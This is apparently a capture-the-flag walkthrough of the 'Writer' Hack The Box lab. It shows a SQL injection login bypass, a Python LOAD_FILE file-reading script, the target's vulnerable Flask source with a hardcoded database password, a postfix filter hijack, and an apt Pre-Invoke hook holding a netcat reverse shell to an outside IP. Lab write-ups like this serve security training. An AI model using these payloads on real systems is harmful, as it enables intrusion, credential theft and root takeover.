Home Writer HTB
Post
Cancel

Writer HTB

Writer

[Pasted image 20210803123741.png]

A very good box with a good knowledge on how postfix filters work and ubuntu apt installer.

  • Nmap
  • Recon
  • SQL Injection
  • FootHold
  • User escalation
  • Root Privilege Escalation

Nmap


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -11s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-31T19:03:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/

We have four ports open 22, 80, 139 and 445

From the nmap scan we have some information about the server. It is a ubuntu machine.

Let’s explore port 139 and 445 initially and try to find out any information.

Recon

Port 445

[Pasted image 20210803104107.png]

We have a directory and anonymous login is enabled but we don’t have a read permission on the directory writer2_project

[Pasted image 20210803104253.png]

Port 80

We have a web interface on the port 80. Looks like a blog.

[Pasted image 20210803104556.png]

[Pasted image 20210803104815.png]

Server: ubuntu/apache

Let’s brute force directories and see what all we have

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
____ $ffuf -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://writer.htb/FUZZ -o out.fuzz

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://writer.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Output file      : out.fuzz
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

contact                 [Status: 200, Size: 4905, Words: 242, Lines: 110, Duration: 1168ms]
about                   [Status: 200, Size: 3522, Words: 250, Lines: 75, Duration: 1184ms]
static                  [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 301ms]
logout                  [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 188ms]
dashboard               [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 304ms]
administrative          [Status: 200, Size: 1443, Words: 185, Lines: 35, Duration: 186ms]

SQL Injection

We have an administrative login panel.

[Pasted image 20210803105102.png]

I tried a simple sql injection and it worked.

[Pasted image 20210803105203.png]

Payload : username: admin' or '1' = '1 -- - and password can anything

Logged in as admin

[Pasted image 20210803105310.png]

[Pasted image 20210803105345.png]

Only user that exists on the web portal is admin. So we don;t much information how to get onto the box.

But we have sql injection, Let’s try to injection more payloads and see if we can grab more information.

Let’s capture the post request in burp and save it to file and give the file as input to sqlmap tool.

[Pasted image 20210803105714.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
____ $cat  req.txt 
POST /administrative HTTP/1.1
Host: writer.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://writer.htb
DNT: 1
Connection: close
Referer: http://writer.htb/administrative
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

uname=admin&password=admin

[Pasted image 20210803110059.png]

Sqlmap gave information about union injectable with 6 columns

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
____ $sqlmap -r req.txt --batch  
        ___
       __H__                      
 ___ ___["]_____ ___ ___  {1.5.3#stable}
|_ -| . [,]     | .'| . |             
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:58:17 /2021-08-03/

[10:58:17] [INFO] parsing HTTP request from 'req.txt'
[10:58:18] [INFO] testing connection to the target URL
[10:58:19] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:58:19] [INFO] testing if the target URL content is stable
[10:58:19] [INFO] target URL content is stable
[10:58:19] [INFO] testing if POST parameter 'uname' is dynamic
[10:58:20] [WARNING] POST parameter 'uname' does not appear to be dynamic
[10:58:20] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might not be injectable
[10:58:20] [INFO] testing for SQL injection on POST parameter 'uname'
[10:58:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:23] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:58:23] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:58:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:28] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:58:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:58:32] [INFO] testing 'Generic inline queries'
[10:58:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] Y
got a 302 redirect to 'http://writer.htb/'. Do you want to follow? [Y/n] Y
[10:58:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:58:37] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:58:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[10:58:51] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[10:58:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:58:51] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:59:01] [INFO] target URL appears to be UNION injectable with 6 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[11:00:02] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[11:00:02] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 119 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin' AND (SELECT 6472 FROM (SELECT(SLEEP(5)))vxHz) AND 'rXNj'='rXNj&password=admin
---
[11:00:20] [INFO] the back-end DBMS is MySQL
[11:00:20] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux Ubuntu 19.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

Let’s try to read a file with sqlmap using the union injection.

[Pasted image 20210803110948.png]

[Pasted image 20210803111047.png]

We can read the file but the sqlmap is taking ages to read one line. I cant imagine reading the while file.

So let’s automate which using sleep function and manually constructing the payload using python

Construction of Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import binascii
from bs4 import BeautifulSoup

URL = "http://writer.htb/administrative"


while True:
	#payload = b"/etc/passwd"
	payload = input(">").encode()
	#convert payload to HEX

	payload = str(binascii.hexlify(payload).decode(encoding="utf-8"))

	data = {"uname": "admin' UNION ALL SELECT 99, LOAD_FILE(0x"+payload+"),99,99,99,99-- -" , "password": "admin"}

	r = requests.post(URL, data=data)
	soup = BeautifulSoup(r.text, 'html.parser')
	p = soup.find('h3')
	print(p.text)

[Pasted image 20210803111242.png]

Now we can read the file instantly without going through the trouble waiting.

From /etc/passwd we have two users

  1. john -> id 1001
  2. kyle -> id 1000

We know that apache2 is running on the machine so we try to read apache2 configuration and find out the actual path of the web application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
____ $python read.py 
>/etc/apache2/sites-enabled/000-default.conf
Welcome # Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
#       ServerName dev.writer.htb
#       ServerAdmin admin@writer.htb
#
        # Collect static for the writer2_project/writer_web/templates
#       Alias /static /var/www/writer2_project/static
#       <Directory /var/www/writer2_project/static>
#               Require all granted
#       </Directory>
#
#       <Directory /var/www/writer2_project/writerv2>
#               <Files wsgi.py>
#                       Require all granted
#               </Files>
#       </Directory>
#
#       WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
#       WSGIProcessGroup writer2_project
#       WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
#        ErrorLog ${APACHE_LOG_DIR}/error.log
#        LogLevel warn
#        CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

[Pasted image 20210803111700.png]

Two directories exist as virtualhost, one of them is comment out. Let’s enumerate inside the directories and see if we can find any interesting files.

[Pasted image 20210803111847.png]

Let’s read the __init__.py from writer folder as python imported writer

[Pasted image 20210803112105.png]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')

#Define connection for database
def connections():
    try:
        connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
        return connector
    except mysql.connector.Error as err:
        if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
            return ("Something is wrong with your db user name or password!")
        elif err.errno == errorcode.ER_BAD_DB_ERROR:
            return ("Database does not exist")
        else:
            return ("Another exception, returning!")
    else:
        print ('Connection to DB is ready!')

#Define homepage
@app.route('/')
def home_page():
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('blog/blog.html', results=results)

#Define about page
@app.route('/about')
def about():
    return render_template('blog/about.html')

#Define contact page
@app.route('/contact')
def contact():
    return render_template('blog/contact.html')

#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
    results = cursor.fetchall()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template('blog/blog-single.html', results=results, stories=stories)

#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
    if not ('user' in session):
        return redirect('/')
    return render_template('dashboard.html')

#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    cursor = connector.cursor()
    sql_command = "Select * From stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('stories.html', results=results)

@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image)
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
        author = request.form.get('author')
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        return render_template('add.html')

@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
                cursor = connector.cursor()
                cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                result = connector.commit()
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image)
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                        cursor = connector.cursor()
                        cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                        result = connector.commit()

                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('edit.html', error=error, results=results, id=id)
                except:
                    error = "Issue uploading picture"
                    return render_template('edit.html', error=error, results=results, id=id)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('edit.html', error=error, results=results, id=id)
        title = request.form.get('title')
        tagline = request.form.get('tagline')
        content = request.form.get('content')
        cursor = connector.cursor()
        cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')

    else:
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('edit.html', results=results, id=id)

@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return ("Database error")
    if request.method == "POST":
        cursor = connector.cursor()
        cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
        result = connector.commit()
        return redirect('/dashboard/stories')
    else:
        cursor = connector.cursor()
        cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
        results = cursor.fetchall()
        return render_template('delete.html', results=results, id=id)

#Define user page for dashboard
@app.route('/dashboard/users')
def users():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return "Database Error"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM users;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('users.html', results=results)

#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
    if not ('user' in session):
        return redirect('/')
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return "Database Error!"
    cursor = connector.cursor()
    sql_command = "SELECT * FROM site WHERE id = 1"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('settings.html', results=results)

#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
    if ('user' in session):
        return redirect('/dashboard')
    if request.method == "POST":
        username = request.form.get('uname')
        password = request.form.get('password')
        password = hashlib.md5(password.encode('utf-8')).hexdigest()
        try:
            connector = connections()
        except mysql.connector.Error as err:
            return ("Database error")
        try:
            cursor = connector.cursor()
            sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
            cursor.execute(sql_command)
            results = cursor.fetchall()
            for result in results:
                print("Got result")
            if result and len(result) != 0:
                session['user'] = username
                return render_template('success.html', results=results)
            else:
                error = "Incorrect credentials supplied"
                return render_template('login.html', error=error)
        except:
            error = "Incorrect credentials supplied"
            return render_template('login.html', error=error)
    else:
        return render_template('login.html')

@app.route("/logout")
def logout():
    if not ('user' in session):
        return redirect('/')
    session.pop('user')
    return redirect('/')

if __name__ == '__main__':
   app.run("0.0.0.0")

Tried to exploit the python code. But nothing worked for me.

Password : ToughPasswordToCrack We have two users, I tried to see if the user used same password. But nope. Looks like the password is different.

FootHold

Let’s brute force for password for both the users.

[Pasted image 20210803112715.png]

We have kyle user password

username : kyle password : marcoantonio

[Pasted image 20210803113121.png]

[Pasted image 20210803112950.png]

Got our user flag.

User Escalation

Now we need to privelege escalation to ROOT.

We have a disclaimer executable file in the home directory of kyle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kyle@writer:~$ cat disclaimer 
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Tried some auto checks and auto exploits but none of them worked. After going through several hours of the task.

We have postfix running on the machine

[Pasted image 20210803113403.png]

[Pasted image 20210803113544.png]

[Pasted image 20210803113650.png]

We can write to this file. But what does this file exactly do.

After doing some study, I found a book about postfix configuration

https://mdex-nn.ru/uploads/postfix-the-definitive-guide.pdf

Snip from book [Pasted image 20210803114803.png]

Now i understood the payload disclaimer get executed for autoattach of footer disaclaimer message.

1
2
3
4
5
6
7
8
9
10
kyle@writer:~$ cat /etc/postfix/disclaimer.txt

--
This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed.
If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the
individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately
by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. If you are not the intended recipient you are notified
that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited.

Writer.HTB

Now we have control over the disclaimer as group id filter can edit it.

I have added my reverse shell payload into the disclaimner file.

[Pasted image 20210803115247.png]

Now we have to trigger it. Let’s write a simple using telnet on smtp port

[Pasted image 20210803115601.png]

We get our reverse shell as user john

[Pasted image 20210803115621.png]

Let’s grab john rsa and login from new prompt [Pasted image 20210803115734.png]

[Pasted image 20210803115832.png]

Root Privelege Escalation

After logging into the machine, tried some priv esc techniques but none of them worked. So i brought my pspy64 tool which can tell what process is getting invoked everytime and change in events are recorded and shown in a nicer format.

[Pasted image 20210803120220.png]

I see an apt-get update command running every few minutes. And I exactly know how to exploit it if we have permission to write to /etc/apt/apt.conf.d directory.

[Pasted image 20210803120446.png]

john has a management group attached to him. Probably he is reponsible the machine for upgrades as administrator.

1
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.189 1234 >/tmp/f"};' > 00-PWNED

Let me tell you how this exploit works, whenever apt-get update is triggered from a user (generally a sudo user or high priv user). APT checks for the configuration if anything has to be checked before doing an upgrade. This check is necessary if you don’t want to update the server/machine in the production environment automatically.

https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

[Pasted image 20210803121036.png]

[Pasted image 20210803121449.png]

After writing our payload let’s just wait for the update to trigger, this will execute our payload and get us a reverse shell.

Let’s have a look at our process monitor

[Pasted image 20210803122642.png]

Our payload is executed and we have a reverse shell as root

[Pasted image 20210803122736.png]

And we are root on the machine.

Learning is never ending process

This post is licensed under CC BY 4.0 by the author.